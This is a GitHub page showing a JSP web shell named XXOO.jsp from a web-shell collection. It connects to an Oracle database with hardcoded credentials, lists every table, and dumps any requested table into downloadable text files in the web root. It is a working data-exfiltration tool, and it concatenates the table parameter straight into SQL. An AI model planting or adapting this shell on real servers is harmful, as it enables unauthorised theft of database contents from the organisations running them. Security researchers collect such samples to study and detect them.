forked from SecWiki/WebShell-2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathXXOO.jsp
executable file
·165 lines (161 loc) · 8.6 KB
/
XXOO.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<%@ page language="java" import="java.util.*" pageEncoding="GBK"%>
<%@ page import="oracle.jdbc.*"%>
<%@ page import="java.sql.*" %>
<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*" %>
<%
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<base href="<%=basePath%>">
<title>XXOO</title>
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="expires" content="0">
<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
<meta http-equiv="description" content="This is my page">
<!--
<link rel="stylesheet" type="text/css" href="styles.css" mce_href="styles.css">
-->
</head>
<body>
<%
String url = "http://" + request.getServerName() + ":" + request.getServerPort() + request.getContextPath()+request.getServletPath();
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
ResultSet rs=null;
ResultSet rs_column=null;
ResultSet rs_dump=null;
String oraUrl="jdbc:oracle:thin:@10.24.7.25:1521:orcl";
String oraUser="phx3";
String oraPWD="phx3";
int size=30000;
try
{
DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
}
catch (SQLException e){
out.print("filed!!");
}
try
{
Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD);
conn.setAutoCommit(false);
if (request.getParameter("table") == null || request.getParameter("table").equals(""))
{
out.print("xixi...<br>");
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
rs=stmt.executeQuery("select table_name from all_tables");
while(rs.next())
{
out.print("<a href=");out.print(url);out.print("?table=");out.print(rs.getString(1));
out.print(" target=_blank>");out.print(rs.getString(1));out.print("</a><br>");
}
rs.close();
stmt.close();
}
else
{
out.print("Current table : "+request.getParameter("table"));
String sql_count="select count(*) from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
String sql_column="select * from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
String sql_columns_count="select count(*) from "+request.getParameter("table");
//String sql_dump="select rownom ro,* from T_SYS_USER";
Statement stmt_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
Statement stmt_column=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
Statement stmt_columns_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
rs=stmt_count.executeQuery(sql_count);
rs_column=stmt_column.executeQuery(sql_column);
ResultSet rs_columns_count=null;
rs_columns_count=stmt_columns_count.executeQuery(sql_columns_count);
conn.commit();
int count=0;
while(rs.next())
{
count=Integer.parseInt(rs.getString(1));
//out.print(count);
}
int columns_count=0;
while(rs_columns_count.next()) // Total number of records
{
columns_count=Integer.parseInt(rs_columns_count.getString(1));
out.print("<br>The number of records : "+columns_count+"<br>");
}
//out.print(columns_count);
int column_num=1;
//out.print("<table border='1'>");out.print("<tr>");
String sql_dump="select * from (select rownum ro "; //SELECT
while(rs_column.next())
{
//out.print(rs_column.getString(3));out.print("\r");
sql_dump+=",";
sql_dump+=rs_column.getString(3);
column_num+=1;
}
rs_column.close();
rs.close(); //close
stmt_count.close();
stmt_column.close();
sql_dump+=" from "+request.getParameter("table")+" where rownum<=";
int mark=0;
mark=columns_count;
out.print("<br><br><br>Please download:<br>");
while(true)
{
if(mark<=size) //one txt count
{ mark=0; }
else
{ mark=mark-size; }
String dump=sql_dump+columns_count+") where ro>="+mark;
columns_count-=size;
Statement stmt_dump=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
rs_dump= stmt_dump.executeQuery(dump);
conn.commit();
String filename = request.getRealPath(request.getParameter("table")+"-"+mark+".txt");
java.io.File f = new java.io.File(filename);
if(!f.exists())
{ f.createNewFile(); }
try
{
PrintWriter pw = new PrintWriter(new FileOutputStream(filename));
while(rs_dump.next())
{
column_num=1;
while(column_num<=count)
{
pw.print(rs_dump.getString(column_num));
pw.print(",");
column_num+=1;
}
pw.println("");
}
pw.close();
}
catch(IOException e) {
out.println(e.getMessage());
}
out.println("<br><a href=./"+request.getParameter("table")+"-"+mark+".txt>"+request.getParameter("table")+"-"+mark+".txt</a><br>");
if(mark==0)
{
rs_dump.close();
stmt_dump.close();
break;
}
}
}
conn.close();
} catch (SQLException e)
{
System.out.println(e.toString());
out.print(e.toString());
}
%>
</body>
<!-- made in China-->
<!-- Articles from Silic-->
<!-- If you have any good suggestions, Please contact me. -->
<!-- [email protected]>
<!-- thanks for Silic & fung -->
</html>